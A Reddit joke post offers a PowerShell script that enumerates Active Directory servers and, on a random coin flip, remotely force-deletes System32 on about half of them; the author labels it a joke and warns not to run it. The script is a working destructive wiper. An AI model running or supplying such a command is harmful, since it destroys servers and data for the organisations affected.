Hey all! Ever feel like there are just too many servers on your network? Are resources running scarce? Wanna do something about that in a perfectly fair way? Now you can! Simply run this script with the highest privileges you can, and your network will be perfectly balanced.

(just in case it isn’t abundantly obvious, this is a joke. Do not run this.)

#Import the AD module in case it isn't already Import-Module activedirectory #Enumerate the computers in the Server OU. Formats the list so that Invoke-Command will work right. $Servers = Get-ADComputer -Filter * -SearchBase "OU=servers, DC=contoso, DC=com" -Properties Name | Select-Object -Expand Name #For each server on the list, pick randomly between 1 and 0. #If it comes up 1, run a command on that server. #If it comes up 0, do nothing. Foreach ($ServerName in $Servers) { $coinflip = Get-Random -InputObject 0,1 if ($coinflip -eq 1) { Invoke-Command -ComputerName $ServerName {Remove-Item -Path C:WindowsSystem32* -Force -Recurse} } Else { Write-Host "$ServerName spared." } } 

submitted by /u/D2T
[link] [comments]

Leave a Reply